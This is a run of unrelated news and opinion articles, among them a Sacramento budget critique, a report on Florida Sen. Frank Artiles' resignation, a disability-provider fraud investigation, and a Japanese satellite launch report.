Sacramento’s City Manager John Shirey released the proposed 2015/2016 budget last week. It’s clear that this city manager, the mayor, and the city council members are cavalier with their spending of other people’s money. More is never enough. And the word “austerity” is not in their vocabularies.
The other important issue to note is even with his latest attempt to become a strong mayor squashed (again) by the voters last year, Mayor Kevin Johnson is the driving force anyway behind this budget and the decisions on how the City spends taxpayers’ money.
The Fleecing
Some are calling this the “Strong Mayor Through The Back Door” budget plan. In fact, the Sacramento Taxpayers Association recently held its first ever, Sacramento Taxpayers Association GOLDEN FLEECE AWARDS, of which, nearly all of the nominees were from the City of Sacramento. Golden Fleece awards are presented to those public officials who the judges feel waste public money. (Disclosure: I am the President of the Sacramento Taxpayers Assoc.)
The list of nominees included:
The City of Sacramento’s Department of Parks & Recreation for spending $200,000 to build an ADA-compliant restroom in McKinley Park;
for spending $200,000 to build an ADA-compliant restroom in McKinley Park; Mayor Kevin Johnson for implementing “Strong Mayor Through the Backdoor,” by directing City Manager John Shirey to implement 20 new programs, projects and initiatives in the City’s next budget, without public review or vetting;
for implementing “Strong Mayor Through the Backdoor,” by directing City Manager John Shirey to implement 20 new programs, projects and initiatives in the City’s next budget, without public review or vetting; The City and County of Sacramento for pushing a plan to spend $150 Million to build a 3.3 miles of circulating streetcar system that will further congest Downtown traffic, contribute nothing to commuter mobility, be as slow as walking, and will drain millions each year from existing light rail and bus service needed for folks of limited means to get to work;
for pushing a plan to spend $150 Million to build a 3.3 miles of circulating streetcar system that will further congest Downtown traffic, contribute nothing to commuter mobility, be as slow as walking, and will drain millions each year from existing light rail and bus service needed for folks of limited means to get to work; The City of Sacramento’s Police Department for paying five senior police officers at total of $1 million each year in salaries and benefits to spend all of their time working for their own labor union;
for paying five senior police officers at total of $1 million each year in salaries and benefits to spend all of their time working for their own labor union; And the winner is… the City of Sacramento’s Department of Utilities for “Metergate,” its wasteful practice of tearing up city sidewalks to install water meters, at an average cost of $5,000, instead of simply installing them in people’s yards at a small fraction of the cost.
Billion Dollar Budget Fairy Tale
The total City of Sacramento budget for fiscal year 2015-16 is $940.5 Million (nearly $1 Billion). The breakdown includes $393.6 Million for General Fund operations, $456.3 Million for “Enterprise and other fund operations” (the City currently has seven six Enterprise Funds — Parking Fund, Water Fund, Wastewater Fund, Solid Waste Fund, Marina Fund, Community Center Fund, and Storm Drainage Fund), and $90.6 million for capital improvement projects.
The City has almost $1.2 billion in unfunded long-term liabilities for retirement benefits, which include pensions, other retirement benefits (OPEB), and payoff of leave balances upon retirement or separation. According to the City’s budget, “on an actuarial basis, the total long-term liability for pension and retiree medical benefits is approximately $3.1 billion, but only $2 billion has been set aside to fund those benefits.” Yes, that says “Billion.”
“Unfortunately, the City’s expenditures are forecast to once again outpace revenues beginning in FY2016/17,” according to the budget.
“The city is socking away $1 million toward its $452 million unfunded liability for retiree health care, but it will be difficult to make a significant dent,” the Sacramento Bee editorial board said. They left off the rest of the unfunded liability – the unfunded pension debt.
Budget Gymnastics Still Doesn’t Trim the City’s Fat
The Sacramento Underground Blog also found something else worth noting in the proposed city budget:
The proposed budget “reflects adopted Council priorities” and amounts to almost $1 billion – that’s almost $2,000 for every man, woman and child in Sacramento. Think for a moment … what could you do for your family, and what kind of amazing vacation could you take, if you had $2,000 extra for each person in your family? But I digress.
So what exactly is the City proposing to do with all of that money taken from you in taxes and fees? Well, to start with, each Council Member will increase their own budget by 6%, or about $25,000 over last year’s approved amount. That’s right, you’re paying more in Measure U taxes so that they can fatten their own budgets. Between the Mayor and City Council, there is a proposed increase of over $790,000 from the last approved budget.
Sacramento residents are paying more in Measure U taxes so city council members they can fatten their own budgets? That wasn’t part of the deal. Measure U taxes were only supposed to be allocated to restoring services to libraries, animal care, fire, police and city parks.
Measure U Tax Windfall
Mayor Johnson should be happy with the surprising windfall of extra tax money coming in courtesy of Measure U, the temporary half-cent local sales tax increase voters passed in 2012. Measure U was expected to generate only $31 million in the current fiscal year, but will actually bring in about $40 million. Set to expire in 2019, the city expects similar gains each year for the next four years. Sacramento residents pay 8.5% sales tax.
“The fact that Measure U funds will sunset in 2019 is also a significant challenge that we must have a plan to address,” Mayor Johnson warned in March in his budget memo to the city council. “Even with Measure U resources to assist with the restoration of previously grant-funded public safety positions, the City will continue to struggle to return to long-term structural stability in the General Fund,” the budget states, only one month later. And what pray-tell will Sacramento do with this extra $40 million? Read on. And weep.
Strong Mayor Through the Backdoor
The Mayor has his own pet projects and priorities, and with the complacent agreement of the city council members, directed City Manager Shirey to draw up a budget that funds twenty never-researched, not-yet-examined projects. “The City Manager is directing $22.2 million in General Fund and Measure U half-cent sales tax resources to address priority initiatives and investment in key areas,” a press release from the City said.
Johnson said in his March Budget memo to the city council he wanted to see the following specific projects to “grow the pie” in Sacramento economically:
-Development of the Downtown Arena and surrounding areas (publicly subsidized)
-Development of the Railyards and a potential MLS stadium (publicly subsidized?)
-Transportation including the streetcar and intermodal projects ($150 Million to build 3.3 miles of circulating streetcar)
-New Performing Arts Theater (publicly subsidized?)
-Increasing downtown housing (how much of it publicly subsidized?)
Johnson also wants:
$1 million to recruit a more diverse police force (gift to the radical left)
$10 million to replace obsolete fire stations (gift to the Fire Fighters union)
$2.1 million to plan strategically for growth and housing in the city core – ($2.1 million for planning, not building – gift to connected developers)
Hire more city staff to respond to process planning and building permits
$2 million for significant repairs and improvements throughout the City’s park system (actually needed)
$1.1 million for the Homeless Housing Initiative (should go to mental health care)
The City Manager and Mayor Kevin Johnson know they will face huge shortfalls in retirement and retiree health care costs, but continue to ignore the mounting debt. Spending other people’s money also means they believe this massive unfunded debt is other people’s problems. “With the known cost of funding approved labor contracts coupled with increases associated with pension benefits required by PERS, shortfalls are anticipated in out-years,” the city manager reported in the budget.
Taxpayers are being set up; no “temporary” tax remains temporary for long once officials get used to the money flowing in. The only way city officials can get a tax passed by the voters these days is to call it “temporary.” Remember Gov. Jerry Brown’s Proposition 30 – the “temporary income tax? Only months after voters passed Prop. 30, Democrat legislators and the State Superintendent of Schools Tom Torlakson was already calling for the tax to be made permanent.
The proposed $19 million in spending on Mayor Kevin Johnson’s new and unvetted projects is a disaster in the making, particularly in light of the city’s rapidly approaching fiscal cliff. Sacramento taxpayers, what will it take before enough is enough?BY:
Sen. Bob Corker (R., Tenn.) told Fox News Sunday even he was not sure to what extent the National Security Agency kept tabs on Americans, adding he wanted the NSA to brief Congress "from top to bottom" to explain the programs in place and help ensure appropriate oversight.
CHRIS WALLACE: Let me ask you a direct question, sir. As the top Republican on Senate Foreign Relations, as you sit here today, do you feel you actually know what the government is and isn't doing in surveilling Americans?
CORKER: No. I don't think there are many people work that harder than I do. I'm not on the intelligence committee. Obviously, they are privy to information that I am not. But absolutely not. That's why I wrote a letter this week to the president, ask that the head of this organization come in and brief folks from top to bottom to explain every program that's under way, understand so we can understand its intent and to understand how appropriate oversight is taking place. Look, I appreciate efforts to keep Americans secure. At the same time, this is in front of us. We are not in front of it. Every day there are stories, as you just mentioned, that are leaked out. The American people want to know that those of us who are elected, Eliot and I, understand fully what's happening here. I don't think we do. I would imagine there are even members of the intelligence committee themselves that don't fully understand the gamut of things that are taking place. It's our responsibility to know those things, to ensure they're in balance, and I hope as soon as we get back there'll be a full briefing from top to bottom so that can happen.Why does aging exist? Why, when we look about the world, can we only find two defensible examples of an immortal species, the hydra and the jellyfish Turritopsis dohrnii? There are a few other species that might be immortal, but the evidence is fairly shaky in near all cases, meaning that it is more of a challenge than is usually the case to show aging, or the data is sparse. These species are probably only negligibly senescent, meaning that they tend to decline rapidly at the end of life and otherwise show few signs of aging up until that point. Lobsters fall into this category, for example. Given that there is exactly one species with good evidence of its immortality - no-one has yet run an equivalent to the rigorous testing of hydra mortality rates in Turritopsis dohrnii - and countless species that clearly age, what are the odds that any given species with poor data is actually immortal? Not so good, I think.
The authors of the paper noted below have an interesting view on why aging is an inevitable outcome of evolutionary processes. To their eyes the declines of aging are an emergent property of competition between classes of cell in multicellular organisms. You might contrast this with the view that aging is a race to the bottom that occurs because environments change, often radically in comparatively short periods of time, and species in which individuals age have a greater ability to adapt to that change than species in which individuals are immortal. Thus aging species out-compete the immortal species in every evolutionary niche over long periods of time. That model has the advantage of predicting that we might see a few immortal species at any given moment, but we should not expect them to last. So while the paper below is thought-provoking, the primary problem I see here is that there is no acknowledgement of the existence of hydra - something of a challenge to a model that presents aging as absolutely inevitable.
In fact, the authors come on very strong with this view of aging as inevitable and beyond our power to defeat in the publicity materials. I have to think that they are quoted out of context and the quotes then assembled by someone who doesn't understand the research, which entirely relates to the evolution of aging, not our ability to intervene in the aging process. How it is we find ourselves stuck in these corroding bodies is a somewhat separate topic from what we choose to do about it - meaning the identification of the best strategies for periodic repair of our failing biochemistry. So I'd say skip the publicity materials, which I think are trying, poorly, to express the idea that there is no way to prevent breakage from occurring in cellular biochemistry, and go straight to the paper. It isn't open access, but the usual way past those barriers works just fine.
It's mathematically impossible to beat aging, scientists say
"Aging is mathematically inevitable - like, seriously inevitable. There's logically, theoretically, mathematically no way out. As you age, most of your cells are ratcheting down and losing function, and they stop growing, as well. But some of your cells are growing like crazy. What we show is that this forms a double bind - a catch-22. If you get rid of those poorly functioning, sluggish cells, then that allows cancer cells to proliferate, and if you get rid of, or slow down, those cancer cells, then that allows sluggish cells to accumulate. So you're stuck between allowing these sluggish cells to accumulate or allowing cancer cells to proliferate, and if you do one you can't do the other. You can't do them both at the same time." Although human mortality is an undisputed fact of life, the researchers' work presents a mathematical equation that expresses why aging is an "incontrovertible truth and an intrinsic property of being multicellular. People have looked at why aging happens, from the perspective of 'why hasn't natural selection stopped aging yet?' That's the question they ask, and implicitly in that is the idea that such a thing as non-aging is possible, so why haven't we evolved it? We're saying it's not just a question of evolution not doing it; it can't be done by natural selection or by anything else." "You might be able to slow down aging but you can't stop it. We have a mathematical demonstration of why it's impossible to fix both problems. You can fix one problem but you're stuck with the other one. Things will get worse over time, in one of these two ways or both: Either all of your cells will continue to get more sluggish, or you'll get cancer. And the basic reason is that things break. It doesn't matter how much you try and stop them from breaking, you can't."
Intercellular competition and the inevitability of multicellular agingManchester United are not expected to look for another central defender should Sergio Ramos sign a new contract with Real Madrid.
United manager Louis van Gaal was keen on bringing the 29-year-old to Old Trafford.
However, sources close to the La Liga giants say that Ramos has now patched up his differences with the club and a new deal is imminent.
Manchester United aren't expected to look for a defender if Sergio Ramos signs a new deal with Real Madrid
Ramos (right) in action for Real against Inter Milan during a pre-season clash in Guangzhou on Monday
United say there has not been any expression of interest in Valencia defender Nicolas Otamendi
United have not given up entirely on Ramos but Sportsmail understands that should he, as expected, pen an extension at the Bernabeu they will not seek an alternative.
Van Gaal is comfortable with England duo Chris Smalling and Phil Jones, Argentine Marcos Rojo and the redeployment of the versatile Daley Blind as a left-sided centre back has given him a further option at the heart of his defence.
Despite some hairy moments, Blind, signed as a holding midfielder, kept Luis Suarez scoreless in Saturday's morale-boosting 3-1 friendly victory over Barcelona in the US.
United had been linked with a move for Valencia's Nicolas Otamendi but sources at the club say there has not been any expression of interest in the 27-year-old.
Manchester United dfender Chris Smalling (left) in training action in California on Monday
United defender Phil Jones in training in the US on the Red Devils' pre-season tour
United utility man Daley Blind (left) attempts to block a shot from Barcelona striker Luis Suarez
Ramos, viewed as a world class player by Van Gaal, was targeted on the back of Real's interest in David de Gea and not because the Dutchman felt a pressing need to bring in another defender.
The Spain World Cup winner had been infuriated with Real following press briefings he believed were directed by the club which had questioned his loyalty when he asked for £260,000-a-week.
However, following a meeting on Real's tour of China, the relationship has been mended and a new deal is expected to be announced on the club's return to Madrid.
United defender Marcos Rojo is another option for boss Louis van Gaal should Ramos stay at RealSen. Frank Artiles resigned from the Florida Legislature on Friday, consumed by a scandal that erupted three days earlier over a diatribe of insults the Miami Republican unleashed against two lawmakers at a Tallahassee bar.
In a letter to Senate President Joe Negron, Artiles said he was stepping down immediately for the sake of his family and the institution of the Senate, whose work ground to a near halt this week as Republican leaders grappled with Artiles’ political future.
Read Artiles’ resignation letter here
“My actions and my presence in government is now a distraction to my colleagues, the legislative process, and the citizens of our great State,” Artiles wrote in a letter hand-delivered by his staff. “I am responsible and I am accountable and effective immediately, I am resigning from the Florida State Senate.
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“It’s clear there are consequences to every action, and in this area, I will need time for personal reflection and growth.”
Negron forced Artiles to apologize Wednesday on the Senate floor for his alcohol-fueled tirade against Sen. Audrey Gibson, D-Jacksonville in which he called her a “bitch” and a “girl” and referred to some Republicans as “niggas.” But outraged black lawmakers said his apology was not enough: They formally sought his expulsion from the Senate.
SHARE COPY LINK Calling Sen. Frank Artiles a "bully," members of the Florida Legislative Black Caucus are seeking the expulsion of the Miami Republican from the Florida Senate after he insulted a black female senator using curse words and a racial slur.
Negron, R-Stuart, whom Artiles had derided in his rant as a “pussy,” ordered an investigation. On Friday, he commended Artiles for putting an end to the controversy.
“He made the right decision,” Negron said in a last-minute Friday afternoon press conference outside the Senate. “All of us are accountable for our actions and comments.”
“Despite the events of the last week, Senator Artiles has a long and proud record of public service,” Negron had said earlier in a statement. “We all owe him a debt of gratitude for serving our country in the United State Marine Corps, where he fought for our freedom in the Global War on Terror. Additionally, his years of service in the Florida House and Senate demonstrate a commitment to helping others that will not end with his departure from the Senate. My Senate colleagues and I wish Senator Artiles and his family well.”
Negron’s office did not know the whereabouts of Artiles, a married father of two who turns 44 on Saturday.
READ MORE: Hooters ‘calendar girl’ and Playboy ‘Miss Social’ were Artiles’ paid consultants
As a result of the resignation, Sen. Perry Thurston, D-Fort Lauderdale, who filed the complaint accusing Artiles of violating Senate conduct rules, withdrew his charges.
“We regret that this action was necessary, but we believe it was the right action to take,” Thurston said in a statement. “The actions of this Senate, and those of the multitude of Floridians who stood up in objection to the events of this week are to be lauded. They underscored the critical lesson that words can be painful, they can be hurtful, and they can have consequences.”
“This has been an ordeal that no one should have to endure,” Gibson said in a statement that didn't even mention Artiles by name.
Artiles, known for his combative style, had hired a sharp-elbowed lawyer and vowed to fight. He chose as his attorney Steven R. Andrews, one of the most feared lawyers in Tallahassee for his reputation as an opposition researcher, his ability to use public records to fight political battles and extract settlements from those he has sued, including Gov. Rick Scott.
In a letter Thursday to Negron, Andrews asked that an independent prosecutor with no association with the Senate be named to conduct the investigation. Then, in what appeared to be an overt threat, he twisted the knife, naming the senators Artiles would call to answer questions under oath.
READ MORE: Replacing Artiles: Who’s in and who’s out (so far)
But the Senate process does not allow for Artiles to question lawmakers, and Negron simply overlooked the letter, ordering Senate General Counsel Dawn Roberts to continue her investigation as planned.
Pressure mounted for Artiles to resign as the state’s two top Republicans suggested he should step down. Speaking to reporters Thursday, Scott said if he had an employee “who said what he said, I would fire him.” Attorney General Pam Bondi also urged Artiles to quit.
By Thursday afternoon, even Artiles’ friends in the state Capitol, convinced he couldn’t possibly redeem himself, had begun to say privately that he had to go. The most evident sign of his looming exit: Political hounds started chatting about his competitive seat soon becoming open.
By Friday, fellow Miami Republican lawmakers were openly relieved about Artiles’ decision, and uniformly praised him for making it.
“Frank has acted honorably in his decision, and my prayers are with him as he moves on from this process,” future House Speaker Jose Oliva of Miami Lakes, a longtime Artiles friend, said Friday morning.
In his letter of resignation Friday, Artiles was more contrite than he sounded when he addressed the full chamber.
“This experience has allowed me to see that for too many years I have sacrificed what I hold most dear in my life, my wife and my two young daughters,” he said. “While I take full responsibility for using language that was vulgar and inappropriate, my family has fallen victim to a political process that can distort the truth for the sole purpose of political gain.”
SHARE COPY LINK Miami Republican Sen. Frank Artiles formally apologized on the Florida Senate floor on Wednesday, April 19, 2017, for insulting and using racial slurs against two black lawmakers two days prior.
A Miami-Dade County police officer, Orlando Fleites, parked across the street from Artiles’ West Kendall home Friday and told a reporter who went to knock on his door that the former senator was not giving any interviews. Two trucks were parked outside the house, including one sporting a state legislator tag.
Friends of Artiles, who said he spent the last few days outside of the Capitol seeking their counsel, said he had been angry and indignant at what he saw as a double standard: colleagues whose own behavior, in his mind, has not risen to the standards they held him to. In the end, the friends persuaded him that he would not weather the storm of public opinion and, even if he overcame the expulsion threat, his return to the Senate would become a drag on an already-divided GOP caucus.
Weighing on Artiles were past incidents of using crude language and demonstrating aggressive behavior, including when a college student accused him of punching him in the face two years ago. An earlier fracas with another lawmaker’s legislative aide drew laughs when outgoing Rep. Doug Holder teased Artiles about it on the House floor in 2014.
But the more collegial Senate operates differently, and Artiles had not made the same loyal friendships in the more deliberative chamber.
Last month, Artiles was feted at the Daytona 500 where he sported a brown jacket emblazoned with “NextEra,” the parent company of Florida Power & Light, and started the annual truck race. As one of his first acts as chair of the Senate committee overseeing public utilities, Artiles then boosted a pair of bills sought by FPL.
“I take no pleasure in these unfortunate events,” Democratic Leader Oscar Braynon of Miami Gardens said in a statement. “But I urge that we learn from them. In our communities, our state, and our country, there should be a message of hope, of tolerance, of unity. We cannot afford the high cost words of divisiveness and cruelty leave in their wake.”
Artiles insisted after his public apology Wednesday that he had no intention of leaving the seat.
“If every time a senator made a mistake or someone made a mistake that they were going to resign, we’d have half the Senate gone for whatever reason,” he told reporters.
Asked a second time, Artiles dug in his heels: “Absolutely not. As a matter of fact, I’m not only [not] going to resign, but I’m also going to file for 2018 and win my election.”
Artiles’ resignation completes a stunningly swift fall from grace. After six years in the state House — in his first year he was forced to admit he didn’t live in his district — Artiles ran for the Senate last year and was considered an underdog in a Southwest Miami-Dade district that strongly supported President Barack Obama in 2012.
But the district, which includes Kendall, South Miami and Westchester, also is 67 percent Hispanic. That favored Artiles, a Cuban-American, against Sen. Dwight Bullard, an African-American, who struggled to compete with the Republicans’ vaunted fundraising apparatus.
Backed by the Republican Party and by political committees controlled by key GOP senators, Artiles overwhelmed Bullard in fundraising. He raised $850,000 compared to Bullard’s $199,000 and won easily, with 51 percent of the vote. Bullard had 41 percent, and an independent candidate got the rest. Hillary Clinton defeated Donald Trump in the district by 57-40 percent.
Artiles’ campaign had a “military feel,” Negron said in admiration after Election Day. “He won us over by earning it on the ground.”
Partly at the direction of future Senate President Bill Galvano of Bradenton, the Florida Republican Senate Campaign Committee spent $1.9 million to help Artiles’ campaign. And Galvano used a political committee he manages called Innovate Florida to invest another $275,000 directly into Artiles’ campaign.
“I regret this situation but I don’t regret the decision to engage in that race,” Galvano said Friday. “We picked up a seat. I found Frank to be the best organized candidate we had in the election cycle and as a member of the Republican Caucus, I felt like we did the right thing in supporting him and getting him elected.”
With Artiles’ resignation, his constituents will have no Senate representation for the last two critical weeks of the annual lawmaking session, though his staff will keep providing constituent services until a new senator is elected. What happens to his legislation will depend on each bill’s co-sponsor. Senate Republicans will now be down two votes; Sen. Dorothy Hukill of Port Orange has been out all session recovering from cancer.
Artiles’ demise recalls another case in which a Miami-Dade lawmaker was forced from office for racist language involving alcohol. Former Rep. Ralph Arza, a Hialeah Republican, resigned in 2006 after he left crude, threatening and racially charged messages on a colleague’s cell phone. Arza pleaded guilty in 2007 to two misdemeanor counts of tampering with a witness and received 18 months probation.
Gov. Scott will call a special election to replace Artiles. Potential candidates are already lining up.
On the Republican side, the likely list so far includes state Rep. Jose Felix Diaz; former state Sen. Alex Diaz de la Portilla; former congressional candidate and early Donald Trump supporter Lorenzo Palomares-Starbuck; former U.S. Rep. David Rivera, who was spotted in Tallahassee on Thursday, and former County Commissioner Juan C. Zapata. State Rep. Jeanette Nuñez, who doesn’t live in the district, said “there will be plenty of time” after session ends to make decisions “on political scenarios that may pan out.”
As for Democrats, Bullard said he may try for a comeback. Bullard’s friend Annette Taddeo, who also lives in the district, said she would consult with Bullard and other black lawmakers before deciding on a run. Freshman state Rep. Robert Asencio said he might also be interested. Former state Rep. Ana Rivas Logan said her interest depends on when the special election takes place. Another possible contender: Marisel Losa, who heads the Health Council of South Florida.
The Florida and Miami-Dade Democratic parties used Artiles’ resignation to ask supporters for money via email Friday.
“GONE,” the state party’s fundraising pitch read.
Herald/Times reporters Michael Auslen, Steve Bousquet, Kristen M. Clark and Jeremy Wallace contributed to this report. Herald staff writer Lance Dixon contributed from Miami.Lifestyle Solutions: Disability service provider being monitored in NSW amid management concerns
Updated
The New South Wales Ombudsman's office says it is keeping a close eye on national disability service provider Lifestyle Solutions.
Key points: A senior supervisor with Lifestyle Solutions in NSW was convicted of fraud in 2015
The disability service provider is accused of having poor oversight
NSW Ombudsman's office advised by Lifestyle Solutions it has developed an "action plan"
It comes after the ABC revealed the Victorian Government had cancelled its contracts with the organisation over concerns about its management of abuse claims and "shortcomings" in oversight.
The latest example of concerns of mismanagement come from court documents that show how a senior supervisor with Lifestyle Solutions on the NSW north coast stole a truckload of goods worth nearly $25,000 belonging to its clients.
The 63-year-old man was convicted of fraud in Tweed Heads Local Court in 2015 after pleading guilty.
He was given a two-year good behaviour bond.
Documents tendered to the court, obtained by the ABC, show that during 2013 the former supervisor would approve the purchase of items for people with a disability in Lifestyle's north coast homes but keep the items for himself.
When he became aware the company was investigating, the supervisor had to hire a truck to collect the goods from his house and to return them to its office.
The court documents indicate the truck inventory totalled $24,979 and included a fridge, washing machine, clothes dryer, beds, black guitar, TV and iPad.
Tweed Heads resident Gina Swannell has worked in disability support and said she was the one who alerted Lifestyle Solutions to details of the theft.
"These were people that were entrusted with the wellbeing of these vulnerable people with disabilities," she said.
Ms Swannell said the theft occurred over the course of more than six months and she believed it was because of poor oversight at Lifestyle Solutions.
"Management signed off on some of these things … but they obviously hadn't read them or processed them," she said.
The man was responsible for managing the finances of about 40 people with a disability, with funding ranging from $15,000 to $60,000 a year.
In a police statement tendered to the court, investigating officers stated:
"[The accused] systematically split payments into smaller transactions in order to avoid detection, keeping certain items for himself and rewarding family members of disabled people with gifts. "It is the opinion of police that the accused lost sight of the fundamentals of his role in the organisation and has gradually progressed from convenient manipulation of funding accounts … into all-out fraud for his own benefit."
Court documents indicate the man was sacked at the time.
'There were emails circulating … that basically it was a free for all'
The Tweed Heads matter was not the only case where Lifestyle Solutions' clients were the victims of financial crime or mismanagement.
In 2012, Newcastle employee Kim Craig was convicted of stealing $11,000 from clients with a disability living in the organisation's group homes.
The ABC also has obtained an email suggesting that in 2015, when a Newcastle group home was being closed down, some household items that were purchased with clients' personal funds were given away to other Lifestyle residences, instead of remaining with clients moving elsewhere.
A carer from the organisation, who did not want to be identified, told the ABC they believed it equated to theft.
"There were emails circulating throughout the organisation, with senior managers CC'd into these emails, that basically it was a free-for-all — all of this furniture from this house needs to be gone by the end of the week," the carer said.
"Absolutely I had concerns about the finances because the people we were supporting weren't getting the quality of care that they deserved or were funded for."
Furniture giveaway was subject to internal review: chief executive
In a statement Lifestyle Solutions chief executive Andrew Hyland said there was no wrongdoing but admitted the furniture giveaway was subject to internal review and "appropriate action".
"Residents … were consulted regarding the move and nominated several items that, due to being aged or no longer appropriate for their situation, they did not wish to take," he said.
Mr Hyland said they had introduced "personal inventories" for all residents.
Lifestyle Solutions is a Newcastle-based organisation that turned over more than $124 million last year, largely from taxpayer funds.
The company said it did refer the Tweed Heads matter to police.
Mr Hyland said it had "regular financial reviews with agencies to ensure client outcomes are achieved and government funding is allocated correctly".
"We operate in accordance with contractual requirements of government funding departments in each state and territory in which we provide services," he said.
Mr Hyland said the systems included compliance with strict procurement and acquittal rules that were attached to the securing of government funding.
Do you know more about this story? Email investigations@abc.net.au.
Arrangements in place for close tracking: Deputy NSW Ombudsman
The office of the NSW Ombudsman said it was continuing to monitor Lifestyle Solutions.
It comes after the ABC's Four Corners program revealed in March the office had identified practice failures relating to the deaths of four clients in the service provider's care.
In a statement, Deputy NSW Ombudsman Steve Kinmond said the organisation had advised it had developed an "action plan" that included better prevention and response to serious incidents.
It had also engaged an external consultant to review its reforms.
"Arrangements are in place for close tracking and reporting back on progress against the action plan, including regular meetings with the Ombudsman's office and the Department of Family and Community Services," Mr Kinmond said.
"As all parties agree, it is ultimately the outcomes for clients that will be the critical test of the reform process."
Topics: health, healthcare-facilities, health-administration, community-organisations, disabilities, nsw, newcastle-2300, australia, tweed-heads-2485
First postedby Bernhard at Moon of Alabama, August 1, 2017
The Trump administration is filled with people who, for whatever reason, hate Iran. These people are attempting to break the “nuclear deal” with Iran and other powers. Their propaganda accuses Iran of every “evil” in this world. Their position is fully in line with the Israeli-Saudi anti-Iran axis.
Since the U.S., the UK and the Saudis wage war against Yemen they claim that Iran is allied with the Zaydi people of northern Yemen who, together with the Yemeni army, resist the Saudi invasion. Iran is regularly accused of smuggling weapons to them even as no evidence for this has ever been shown.
Reuters jumps into the breach with this fantastic fake-news item: Exclusive: Iran Revolutionary Guards find new route to arm Yemen rebels:
LONDON (Reuters) – Iran’s Revolutionary Guards have started using a new route across the Gulf to funnel covert arms shipments to their Houthi allies in Yemen’s civil war, sources familiar with the matter have |
and one way only. And that is to stop the jobs recovery, to put a halt to the jobs recovery and if possible to reverse the jobs recovery," he said.
In an interview with The Huffington Post shortly thereafter, DNC Chairwoman Rep. Debbie Wasserman Schultz (D-Fla.) said she agreed with O'Malley.Less than a month after Uber settled two class-action lawsuits in California and Massachusetts, another one has popped up. This time, the suit pertains to all current and former Uber drivers in the United States, except for those in California and Massachusetts.
The suit, filed yesterday in the U.S. District Court for the Northern District of Illinois, Chicago division, asks the court to classify Uber divers as employees rather than independent contractors, “recover unpaid overtime wages and compensation,” reimburse expenses, and pay the tips that “were earned but stolen by Uber or were lost” due to Uber’s communications and policies.
This nationwide case is very similar in nature to the two Uber recently settled in California and Massachusetts. In those two cases, the settlements determined that Uber drivers in those states will remain independent contractors. As TechCrunch previously noted, Uber had to offer several concessions, with the biggest being $100 million in payments to the 385,000 drivers represented across both cases.
This nationwide class-action suit is in its early days, but I imagine we might see a relatively similar outcome as the ones in California and Massachusetts. It’s worth noting that it took over three years for the California case to reach a settlement, but the fact that a precedent has recently been set, this case probably won’t take nearly as long.
“Nearly 90 percent of drivers say the main reason they use Uber is because they love being their own boss,” Uber said in a statement to TechCrunch about the lawsuit. “As employees, drivers would have set shifts, earn a fixed hourly wage, and lose the ability to drive with other ridesharing apps—as well as the personal flexibility they most value.”
[h/t @zerohedge]Just Monday evening, a German man used his Tesla Model S to slow down a car behind him that was piloted by an unconscious man, German newspaper Tz reports.
Manfred Kicks was driving his Tesla Model S on the A9 section of the Autobahn near Munich when he noticed a car behind him repeatedly hitting the guardrail. That car, a Volkswagen Passat, was being driven by a 47-year-old man Kicks said he figured was unconscious, possibly enduring a stroke. Concerned, Kicks says he looked in his rear-view mirror and noticed the VW driver incapacitated. "The driver had tipped forward and hung motionless in the belt. The head and hands hung limply down," Kicks said.
In a move that can be described as utilitarian, Kicks slowed down his Tesla Model S until the Volkswagen came into its near vicinity and held down his brakes, with the VW colliding into the rear of his electric car and eventually bringing both to a stop. Once stopped, Kicks entered the Volkswagen and performed first aid on the unconscious man.
Munich fire officials and police arrived at the scene, shuttling the unconscious man to the hospital. Apparently, he is in stable condition.MANTECA (CBS13) – A woman said she was going to buy a car, but first needed a ride to the bank. Then, suddenly, an elderly man is suspected of being the getaway driver in a bank robbery.
CBS13 sat down with the unsuspecting man that found himself in the center of a bank robbery investigation.
It was a wild ride that began at a Bank of America in downtown Manteca, and ended at the elderly man’s home.
“She kind of pulled the top of her purse open, like this and leaned it toward me and said, ‘well I got the money,” said the man.
It was loot from allegedly robbing the bank.
“When she came out of the bank, I didn’t know myself that she robbed the bank,” the victim said.
She, police say, is Gail Castle. The woman came knocking on the 83-year-old’s door a few weeks ago, wanting to buy his car, which wasn’t even for sale.
To seal the deal, Castle asked him to give her a lift to the Bank of America, about two miles away.
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“She slipped a note to the teller and told her to give her money, and nobody would get hurt,” the elderly man said.
With about $2,000 in hand, the woman jumped in the car and the pair took off. The senior citizen didn’t know he was behind the wheel of the accused bank robber’s getaway car.
After a short drive, he realized something was wrong.
“She says ‘don’t open the door, I got a gun,’ ” he said.
Officers swarmed the car just a few feet from his driveway.
“They had their guns drawn as soon as they got out of the door, automatic shotguns, pistols, rifles,” the elderly man said.
With his hands up, the elderly man surrendered.
“I could have got killed right there; they could have shot me,” he said.
It didn’t take long for police to realize the elderly man was the victim, and they quickly cuffed Castle.
“I think she’s sick, I do think she’s sick,” he said.
Castle goes before a judge Tuesday.If you would like to see more articles like this please support our coverage of the space program by becoming a Spaceflight Now Member. If everyone who enjoys our website helps fund it, we can expand and improve our coverage further.
EDITOR’S NOTE: Updated at 0300 GMT Saturday (10:00 p.m. Friday) with confirmation of a successful launch.
Two research satellites to probe Earth’s climate patterns and test ion engine technology to counter atmospheric drag in an unusual low-altitude orbit launched Saturday on top of a Japanese H-2A rocket.
The two Japanese-built spacecraft rocketed away from the Tanegashima Space Center in southern Japan at 0126:22 GMT Saturday (8:26:22 p.m. EST Friday) inside the H-2A’s payload fairing.
Liftoff occurred at 10:26 a.m. Saturday Japan Standard Time.
Mounted on a dual-payload adapter fixture, the satellites were released into two distinct orbits a few hundred miles above Earth by the H-2A’s upper stage.
First, the hydrogen-fueled launcher deployed the Shikisai climate monitoring satellite into a polar orbit around 500 miles (800 kilometers). Then the rocket’s LE-5B upper stage engine reignited twice, targeting a lower altitude for separation of a technological demonstration satellite named Tsubame in an elliptical orbit between 280 and 400 miles (450-643 kilometers) over the planet.
Deployment of the 2.2-ton (2-metric ton) Shikisai satellite, also known as the Global Change Observation Mission-Climate (GCOM-C), occurred around 16 minutes after the H-2A rocket’s liftoff from, a facility carved from the rocky coast of an island in southwestern Japan.
The 880-pound (400-kilogram) Tsubame payload, officially named the Super Low Altitude Test Satellite (SLATS), was released from the H-2A second stage at T+plus 1 hour, 48 minutes.
Flying on its 37th flight, the H-2A rocket headed south from Tanegashima and jettisoned two solid rocket boosters around two minutes into the flight.
The launcher’s LE-7A main engine, consuming a cryogenic mix of liquid hydrogen and liquid oxygen, fired for about 6 minutes, 38 seconds.
The payload shroud covering the Shikisai and Tsubame satellites separated from rocket at T+plus 4 minutes, 5 seconds.
